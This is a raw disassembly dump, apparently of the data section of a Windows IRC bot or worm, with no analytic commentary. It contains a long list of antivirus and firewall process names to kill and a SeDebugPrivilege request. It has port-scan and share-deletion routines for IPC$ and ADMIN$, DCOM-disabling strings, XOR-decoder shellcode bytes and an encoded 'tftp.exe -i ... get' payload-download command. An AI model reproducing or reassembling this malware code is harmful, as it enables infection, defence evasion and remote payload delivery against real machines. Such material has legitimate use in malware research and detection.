aDivx_exe db 'DIVX.EXE',0 ; DATA XREF: .data:00434808o align 4 aDeputy_exe db 'DEPUTY.EXE',0 ; DATA XREF: .data:00434804o align 4 aDefwatch_exe db 'DEFWATCH.EXE',0 ; DATA XREF: .data:00434800o align 4 aDefscangui_exe db 'DEFSCANGUI.EXE',0 ; DATA XREF: .data:004347FCo align 4 aDefalert_exe db 'DEFALERT.EXE',0 ; DATA XREF: .data:004347F8o align 4 aDcomx_exe db 'DCOMX.EXE',0 ; DATA XREF: .data:004347F4o align 4 aDatemanager_ex db 'DATEMANAGER.EXE',0 ; DATA XREF: .data:004347F0o aClaw95_exe db 'Claw95.EXE',0 ; DATA XREF: .data:004347E8o align 10h aCwntdwmo_exe db 'CWNTDWMO.EXE',0 ; DATA XREF: .data:004347E4o align 10h aCwnb181_exe db 'CWNB181.EXE',0 ; DATA XREF: .data:004347E0o aCv_exe db 'CV.EXE',0 ; DATA XREF: .data:004347DCo align 4 aCtrl_exe db 'CTRL.EXE',0 ; DATA XREF: .data:004347D8o align 10h aCpfnt206_exe db 'CPFNT206.EXE',0 ; DATA XREF: .data:004347D4o align 10h aCpf9x206_exe db 'CPF9X206.EXE',0 ; DATA XREF: .data:004347D0o align 10h aCpd_exe db 'CPD.EXE',0 ; DATA XREF: .data:004347CCo aConnectionmoni db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:004347C8o align 10h aCmon016_exe db 'CMON016.EXE',0 ; DATA XREF: .data:004347C4o aCmgrdian_exe db 'CMGRDIAN.EXE',0 ; DATA XREF: .data:004347C0o align 4 aCmesys_exe db 'CMESYS.EXE',0 ; DATA XREF: .data:004347BCo align 4 aCmd32_exe db 'CMD32.EXE',0 ; DATA XREF: .data:004347B8o align 4 aClick_exe db 'CLICK.EXE',0 ; DATA XREF: .data:004347B4o align 10h aCleanpc_exe db 'CLEANPC.EXE',0 ; DATA XREF: .data:004347B0o aCleaner3_exe db 'CLEANER3.EXE',0 ; DATA XREF: .data:004347ACo align 4 aCleaner_exe db 'CLEANER.EXE',0 ; DATA XREF: .data:004347A8o aClean_exe db 'CLEAN.EXE',0 ; DATA XREF: .data:004347A4o align 4 aClaw95cf_exe db 'CLAW95CF.EXE',0 ; DATA XREF: .data:004347A0o ; .data:004347ECo align 4 aCfinet32_exe db 'CFINET32.EXE',0 ; DATA XREF: .data:0043479Co align 4 aCfinet_exe db 'CFINET.EXE',0 ; DATA XREF: .data:00434798o align 10h aCfiaudit_exe db 'CFIAUDIT.EXE',0 ; DATA XREF: .data:00434790o ; .data:00434794o align 10h aCfiadmin_exe db 'CFIADMIN.EXE',0 ; DATA XREF: .data:0043478Co align 10h aCfgwiz_exe db 'CFGWIZ.EXE',0 ; DATA XREF: .data:00434788o align 4 aCfd_exe db 'CFD.EXE',0 ; DATA XREF: .data:00434784o aCdp_exe db 'CDP.EXE',0 ; DATA XREF: .data:00434780o aCcpxysvc_exe db 'CCPXYSVC.EXE',0 ; DATA XREF: .data:0043477Co align 4 aCcevtmgr_exe db 'CCEVTMGR.EXE',0 ; DATA XREF: .data:00434778o align 4 aCcapp_exe db 'CCAPP.EXE',0 ; DATA XREF: .data:00434774o align 4 aBvt_exe db 'BVT.EXE',0 ; DATA XREF: .data:00434770o aBundle_exe db 'BUNDLE.EXE',0 ; DATA XREF: .data:0043476Co align 4 aBs120_exe db 'BS120.EXE',0 ; DATA XREF: .data:00434768o align 4 aBrasil_exe db 'BRASIL.EXE',0 ; DATA XREF: .data:00434764o align 4 aBpc_exe db 'BPC.EXE',0 ; DATA XREF: .data:00434760o aBorg2_exe db 'BORG2.EXE',0 ; DATA XREF: .data:0043475Co align 4 aBootwarn_exe db 'BOOTWARN.EXE',0 ; DATA XREF: .data:00434758o align 4 aBootconf_exe db 'BOOTCONF.EXE',0 ; DATA XREF: .data:00434754o align 4 aBlss_exe db 'BLSS.EXE',0 ; DATA XREF: .data:00434750o align 4 aBlackice_exe db 'BLACKICE.EXE',0 ; DATA XREF: .data:0043474Co align 4 aBlackd_exe db 'BLACKD.EXE',0 ; DATA XREF: .data:00434748o align 10h aBisp_exe db 'BISP.EXE',0 ; DATA XREF: .data:00434744o align 4 aBipcpevalsetup db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:00434740o align 10h aBipcp_exe db 'BIPCP.EXE',0 ; DATA XREF: .data:0043473Co align 4 aBidserver_exe db 'BIDSERVER.EXE',0 ; DATA XREF: .data:00434738o align 4 aBidef_exe db 'BIDEF.EXE',0 ; DATA XREF: .data:00434734o align 4 aBelt_exe db 'BELT.EXE',0 ; DATA XREF: .data:00434730o align 4 aBeagle_exe db 'BEAGLE.EXE',0 ; DATA XREF: .data:0043472Co align 10h aBd_professiona db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:00434728o aBargains_exe db 'BARGAINS.EXE',0 ; DATA XREF: .data:00434724o align 4 aBackweb_exe db 'BACKWEB.EXE',0 ; DATA XREF: .data:00434720o aAvxquar_exe db 'AVXQUAR.EXE',0 ; DATA XREF: .data:00434718o ; .data:0043471Co aAvxmonitornt_e db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:00434714o align 10h aAvxmonitor9x_e db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:00434710o align 4 aAvwupsrv_exe db 'AVWUPSRV.EXE',0 ; DATA XREF: .data:0043470Co align 4 aAvwupd32_exe db 'AVWUPD32.EXE',0 ; DATA XREF: .data:00434704o ; .data:00434708o align 4 aAvwupd_exe db 'AVWUPD.EXE',0 ; DATA XREF: .data:00434700o align 10h aAvwinnt_exe db 'AVWINNT.EXE',0 ; DATA XREF: .data:004346FCo aAvwin95_exe db 'AVWIN95.EXE',0 ; DATA XREF: .data:004346F8o aAvsynmgr_exe db 'AVSYNMGR.EXE',0 ; DATA XREF: .data:004346F4o align 4 aAvsched32_exe db 'AVSCHED32.EXE',0 ; DATA XREF: .data:004346F0o align 4 aAvpupd_exe db 'AVPUPD.EXE',0 ; DATA XREF: .data:004346E8o ; .data:004346ECo align 4 aAvptc32_exe db 'AVPTC32.EXE',0 ; DATA XREF: .data:004346E4o aAvpm_exe db 'AVPM.EXE',0 ; DATA XREF: .data:004346E0o align 4 aAvpdos32_exe db 'AVPDOS32.EXE',0 ; DATA XREF: .data:004346DCo align 4 aAvpcc_exe db 'AVPCC.EXE',0 ; DATA XREF: .data:004346D8o align 4 aAvp32_exe db 'AVP32.EXE',0 ; DATA XREF: .data:004346D4o align 4 aAvp_exe db 'AVP.EXE',0 ; DATA XREF: .data:004346D0o aAvnt_exe db 'AVNT.EXE',0 ; DATA XREF: .data:004346CCo align 4 aAvltmain_exe db 'AVLTMAIN.EXE',0 ; DATA XREF: .data:004346C8o align 4 aAvkwctl9_exe db 'AVKWCTl9.EXE',0 ; DATA XREF: .data:004346C4o align 4 aAvkservice_exe db 'AVKSERVICE.EXE',0 ; DATA XREF: .data:004346C0o align 4 aAvkserv_exe db 'AVKSERV.EXE',0 ; DATA XREF: .data:004346BCo aAvkpop_exe db 'AVKPOP.EXE',0 ; DATA XREF: .data:004346B8o align 10h aAvgw_exe db 'AVGW.EXE',0 ; DATA XREF: .data:004346B4o align 4 aAvguard_exe db 'AVGUARD.EXE',0 ; DATA XREF: .data:004346B0o aAvgserv9_exe db 'AVGSERV9.EXE',0 ; DATA XREF: .data:004346ACo align 4 aAvgserv_exe db 'AVGSERV.EXE',0 ; DATA XREF: .data:004346A8o aAvgnt_exe db 'AVGNT.EXE',0 ; DATA XREF: .data:004346A4o align 10h aAvgctrl_exe db 'AVGCTRL.EXE',0 ; DATA XREF: .data:004346A0o aAvgcc32_exe db 'AVGCC32.EXE',0 ; DATA XREF: .data:0043469Co aAve32_exe db 'AVE32.EXE',0 ; DATA XREF: .data:00434698o align 4 aAvconsol_exe db 'AVCONSOL.EXE',0 ; DATA XREF: .data:00434694o align 4 aAutoupdate_exe db 'AUTOUPDATE.EXE',0 ; DATA XREF: .data:0043468Co ; .data:00434690o align 4 aAutotrace_exe db 'AUTOTRACE.EXE',0 ; DATA XREF: .data:00434684o ; .data:00434688o align 4 aAutodown_exe db 'AUTODOWN.EXE',0 ; DATA XREF: .data:0043467Co ; .data:00434680o align 4 aAupdate_exe db 'AUPDATE.EXE',0 ; DATA XREF: .data:00434674o ; .data:00434678o aAu_exe db 'AU.EXE',0 ; DATA XREF: .data:00434670o align 4 aAtwatch_exe db 'ATWATCH.EXE',0 ; DATA XREF: .data:0043466Co aAtupdater_exe db 'ATUPDATER.EXE',0 ; DATA XREF: .data:00434664o ; .data:00434668o align 4 aAtro55en_exe db 'ATRO55EN.EXE',0 ; DATA XREF: .data:00434660o align 4 aAtguard_exe db 'ATGUARD.EXE',0 ; DATA XREF: .data:0043465Co aAtcon_exe db 'ATCON.EXE',0 ; DATA XREF: .data:00434658o align 4 aArr_exe db 'ARR.EXE',0 ; DATA XREF: .data:00434654o aApvxdwin_exe db 'APVXDWIN.EXE',0 ; DATA XREF: .data:00434650o align 4 aAplica32_exe db 'APLICA32.EXE',0 ; DATA XREF: .data:0043464Co align 4 aApimonitor_exe db 'APIMONITOR.EXE',0 ; DATA XREF: .data:00434648o align 4 aAnts_exe db 'ANTS.EXE',0 ; DATA XREF: .data:00434644o align 10h aAntivirus_exe db 'ANTIVIRUS.EXE',0 ; DATA XREF: .data:00434640o align 10h aAntiTrojan_exe db 'ANTI-TROJAN.EXE',0 ; DATA XREF: .data:0043463Co aAmon9x_exe db 'AMON9X.EXE',0 ; DATA XREF: .data:00434638o align 4 aAlogserv_exe db 'ALOGSERV.EXE',0 ; DATA XREF: .data:00434634o align 4 aAlevir_exe db 'ALEVIR.EXE',0 ; DATA XREF: .data:00434630o align 4 aAlertsvc_exe db 'ALERTSVC.EXE',0 ; DATA XREF: .data:0043462Co align 4 aAgentw_exe db 'AGENTW.EXE',0 ; DATA XREF: .data:00434628o align 4 aAgentsvr_exe db 'AGENTSVR.EXE',0 ; DATA XREF: .data:00434624o align 4 aAdvxdwin_exe db 'ADVXDWIN.EXE',0 ; DATA XREF: .data:00434620o align 4 aAdaware_exe db 'ADAWARE.EXE',0 ; DATA XREF: .data:0043461Co aAckwin32_exe db 'ACKWIN32.EXE',0 ; DATA XREF: .data:off_434618o align 10h aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4123B8+191o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4123B8+5Ao ; sub_4123B8+1F3o align 10h unk_4370F0 db 2 ; DATA XREF: sub_4125E7:loc_41266Eo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 72h db 6Fh ; o db 63h, 65h, 73h db 73h ; s db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aProcessListFai db ' Process list failed.',0 align 4 unk_437128 db 2 ; DATA XREF: sub_4125E7+80o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 72h db 6Fh ; o db 63h, 65h, 73h db 73h ; s db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aProcessListCom db ' Process list completed.',0 align 4 unk_437164 db 2 ; DATA XREF: sub_4125E7+19o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 72h db 6Fh ; o db 63h, 65h, 73h db 73h ; s db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aListingProcess db ' Listing processes:',0 aConst db 'const',0 align 10h dd 0 dword_4371A4 dd 1 off_4371A8 dd offset sub_41274C ; DATA XREF: sub_412AB7+49r aLetter db 'letter',0 align 8 dd 2, 4127AAh, 706D6F63h, 2 dup(0) dd 3, 4127F7h, 6E756F63h, 797274h, 0 dd 4, 412895h, 736Fh, 2 dup(0) dd 5, 41290Ah aSI db '%s%i',0 ; DATA XREF: sub_41274C+40o ; .text:00412876o ... align 4 byte_437204 db 50h ; DATA XREF: .text:00412819o ; .text:00412826r db 43h, 2 dup(0) dword_437208 dd 7C7325h ; sub_412AB7+39o aS_6 db '[%s]|',0 ; DATA XREF: .text:004129CEo align 4 a2k3 db '2K3',0 ; DATA XREF: .text:004129BEo aDS db '[%d]%s',0 ; DATA XREF: sub_412A14+3Ao align 10h off_437220 dd offset byte_5D4D5B ; DATA XREF: sub_412A14+2Co ; sub_412A14+57o unk_437224 db 2 ; DATA XREF: sub_412B20+92o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 10h unk_437260 db 2 ; DATA XREF: sub_412BED+41o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 6Fh db 72h ; r db 74h, 73h, 63h db 61h ; a db 6Eh, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 10h dd 1D4C0h align 8 off_4372A8 dd offset aIpc ; DATA XREF: .text:00412E91o ; "IPC$" align 10h dd offset aAdmin_1 ; "ADMIN$" align 8 dd offset dword_4372D4 dd offset off_4372D0 dd offset dword_4372CC dd offset off_4372C8 off_4372C8 dd offset dword_5C3A44 ; DATA XREF: .text:00412EF5o ; .data:004372C4o dword_4372CC dd 2444h off_4372D0 dd offset byte_5C3A43 ; DATA XREF: .data:004372BCo dword_4372D4 dd 2443h aAdmin_1 db 'ADMIN$',0 ; DATA XREF: .data:004372B0o align 10h aIpc db 'IPC$',0 ; DATA XREF: .data:off_4372A8o align 4 dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh dd 2029671Fh, 2BBBB02h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_437328 dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh ; DATA XREF: .text:00412FADo dd 2029671Fh, 2BBBB02h aNetworkSharesD db ' Network shares deleted.',0 align 10h dword_437360 dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh ; DATA XREF: .text:loc_412F40o dd 2029671Fh, 2BBBB02h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43739C dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh ; DATA XREF: .text:00412F39o dd 2029671Fh, 2BBBB02h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 10h dword_4373D0 dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh ; DATA XREF: .text:loc_412EADo dd 2029671Fh, 2BBBB02h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43740C dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh ; DATA XREF: .text:00412EA6o dd 2029671Fh, 2BBBB02h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 10h dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh dd 2029671Fh, 2BBBB02h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh dd 2029671Fh, 2BBBB02h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh dd 2029671Fh, 2BBBB02h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 10h dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh dd 2029671Fh, 2BBBB02h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 align 10h dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h dd 6E65706Fh, 4F434420h, 6572204Dh, 74736967h, 6B207972h dd 2E7965h, 5B027302h, 5D1F491Fh, 65732820h, 65727563h dd 6C1F702Eh, 2029671Fh, 2BBBB02h, 43442020h, 64204D4Fh dd 62617369h, 2E64656Ch, 0 dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh dd 2029671Fh, 2BBBB02h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 align 10h dw 4Eh align 4 dword_437624 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh db 66h, 0B9h word_437632 dw 0FFFFh ; DATA XREF: sub_4131B7+CCw db 80h, 73h, 0Eh byte_437637 db 0FFh ; DATA XREF: sub_4131B7+D3w dd 0F9E243h dword_43763C dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh db 0B1h byte_437649 db 0FFh ; DATA XREF: sub_4131B7+AAw dw 7380h db 0Ch byte_43764D db 0FFh ; DATA XREF: sub_4131B7+B0w dw 0E243h dd 0F9h dword_437654 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_413040+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_4376B8 dd 12h dd 70746674h, 6578652Eh, 20692D20h aGet_0 db ' get ',0 ; DATA XREF: sub_413040+79o aJ db 'j',0 db 0E8h dword_4376D1 dd 17h db 75h, 1, 0C3h db 0E8h dword_4376D9 dd 1 byte_4376DD db 0, 6Ah, 0 ; DATA XREF: sub_413040+C2o dd 7E8h db 0, 0Fh, 84h dword_4376E7 dd 0FFFFFFEDh db 0C3h dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h dd 0C3h aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_41337B+10o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_41354C+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_41354C+35o dword_437768 dd 129A9A9h align 10h dword_437770 dd 173Fh dd 9875h, 9873h off_43777C dd offset sub_41407D ; DATA XREF: sub_415C5Cr dd offset nullsub_261 dd offset nullsub_261 dword_437788 dd 1B3Fh dword_43778C dd 19930520h, 4 dup(0) ; sub_414582+2o off_4377A0 dd offset sub_415C9A ; DATA XREF: sub_415F07+1Cr dword_4377A4 dd 2 ; sub_41B235+46r ... off_4377A8 dd offset aNull ; DATA XREF: sub_416065:loc_4163C9r ; sub_416065+457r ; "(null)" off_4377AC dd offset off_41F6D8 ; DATA XREF: sub_416065+259r off_4377B0 dd offset word_4377BA ; DATA XREF: sub_413CF4+23r ; sub_413CF4:loc_413D55r ... dd offset word_4377BA db 2 dup(0) word_4377BA dw 20h ; DATA XREF: sub_41C9E0+18r ; .data:off_4377B0o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4379BC dd 1 ; sub_413CF4:loc_413D40r ... byte_4379C0 db 2Eh ; DATA XREF: sub_417D94:loc_417DD4r ; sub_417DEE+4r ... align 4 dd 1, 10h dword_4379CC dd 3F8h ; sub_4157BF+4Dr ... dword_4379D0 dd 14h off_4379D4 dd offset off_41F7A0 ; DATA XREF: sub_417ADD:loc_417AFAr dd 1Dh, 41F79Ch, 1Ah, 41F798h, 1Bh, 41F790h, 1Fh, 41F788h dd 13h, 41F780h, 21h, 41F778h, 0Eh, 41F770h, 0Dh, 41F768h dd 0Fh, 41F760h, 10h, 41F758h, 5, 41F750h, 1Eh, 41F74Ch dd 12h, 41F748h, 20h, 41F744h, 0Ch, 41F73Ch, 0Bh, 41F734h dd 15h, 41F72Ch, 1Ch, 41F724h, 19h, 41F71Ch, 11h, 41F714h dd 18h, 41F70Ch, 16h, 41F704h, 17h, 41F6FCh, 22h, 41F6F8h dd 23h, 41F6F4h, 24h, 41F6F0h dbl_437AA8 dq 1.797693134862316e308 ; DATA XREF: sub_417818+B7r ; sub_417818:loc_4178FFr ... dd 0 dd 0FFF80000h dbl_437AB8 dq 1.797693134862316e308 ; DATA XREF: sub_417818+92r ; sub_417818:loc_4178D7r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_437AD0 dt 2.3562723457267347066e313 ; DATA XREF: sub_417CC5+Dr ; sub_417CC5+1Fr align 4 tbyte_437ADC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_417CC5+31r align 4 off_437AE8 dd offset sub_418159 ; DATA XREF: sub_414095+Fw ; sub_416065+3AAr off_437AEC dd offset sub_417DEE ; DATA XREF: sub_414095+5w ; sub_416065+3E2r off_437AF0 dd offset sub_417E54 ; DATA XREF: sub_414095+14w ; sub_418BBD+430r off_437AF4 dd offset sub_417D94 ; DATA XREF: sub_414095+1Ew ; sub_416065+3CBr off_437AF8 dd offset sub_417E3C ; DATA XREF: sub_414095+28w off_437AFC dd offset sub_418159 ; DATA XREF: sub_414095+32w dd offset sub_41BD4B align 10h dd offset sub_418A1C off_437B14 dd offset sub_418A1C ; DATA XREF: sub_418A72+29r asc_437B18 db ' ',9,'-',0Dh,']',0 ; DATA XREF: sub_418BBD:loc_419124o align 10h asc_437B20: ; DATA XREF: sub_418BBD:loc_419014o unicode 0, <]>,0 align 8 byte_437B28 db 1 ; DATA XREF: sub_41A213+E1r db 2, 4, 8 align 10h dword_437B30 dd 3A4h dword_437B34 dd 82798260h dd 21h, 0 dword_437B40 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_437C20 dd 1 ; sub_41A82A+Co dword_437C24 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_437D88 dd 0C0000005h ; sub_41AA9C+Ar ... dword_437D8C dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_437E00 dd 3 ; sub_41D474+C8r dword_437E04 dd 7 ; sub_41D474+CDr dword_437E08 dd 0Ah ; sub_41D5A1+4r dword_437E0C dd 8Ch ; sub_41A95B+8Fw ... dword_437E10 dd 0FFFFFFFFh, 0A00h ; sub_41991B:loc_41999Co dword_437E18 dd 2 ; sub_41B235+28r off_437E1C dd offset aR6002FloatingP ; DATA XREF: sub_41B235+FCr ; sub_41B235+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 41FABCh, 9, 41FA90h, 0Ah, 41FA6Ch, 10h, 41FA40h dd 11h, 41FA10h, 12h, 41F9ECh, 13h, 41F9C0h, 18h, 41F988h dd 19h, 41F960h, 1Ah, 41F928h, 1Bh, 41F8F0h, 1Ch, 41F8C8h dd 78h, 41F8B8h, 79h, 41F8A8h, 7Ah, 41F898h, 0FCh, 425144h dd 0FFh, 41F888h off_437EA8 dd offset dword_742520 ; DATA XREF: sub_41B235+1Bo ; sub_41B3F2+55o align 10h dd offset dword_742520 dd 101h dword_437EB8 dd 0FFFFFFFFh, 0 dd 1000h, 0 dword_437EC8 dd 3 dup(0) ; sub_41A891+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_437EE8 dd 3 dup(0) ; sub_41A891:loc_41A8AFo dd 2, 0FFFFFFFFh, 7 dup(0) dword_437F18 dd 84h dup(0) dword_438128 dd 2694h ; sub_4174CD+46r ... align 10h dword_438130 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_438148 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_438160 dd 7080h ; sub_41BFB2+5Ew ... dword_438164 dd 1 ; sub_41BFB2+8Bw ... dword_438168 dd 0FFFFF1F0h ; sub_41BFB2+94w ... off_43816C dd offset dword_545350 ; DATA XREF: .data:off_4381ECo dd 0Fh dup(0) off_4381AC dd offset dword_544450 ; DATA XREF: .data:off_4381F0o dd 0Fh dup(0) off_4381EC dd offset off_43816C ; DATA XREF: sub_41BFB2+BAr ; sub_41BFB2+D9r ... off_4381F0 dd offset off_4381AC ; DATA XREF: sub_41BFB2+F4r ; sub_41BFB2+11Br ... align 8 dword_4381F8 dd 0FFFFFFFFh ; sub_41C210+1Er ... dword_4381FC dd 0 ; sub_41C3BC+BFw dword_438200 dd 0 ; sub_41C3BC+E0w align 8 dword_438208 dd 0FFFFFFFFh ; sub_41C210+26r ... dword_43820C dd 0 ; sub_41C3BC+EAw ... dword_438210 dd 0 ; sub_41C3BC+23r ... dword_438214 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_438244 dd 16Dh ; sub_41C3BC+2Er ... dword_438248 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_438280 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4383E0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41D9C9+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 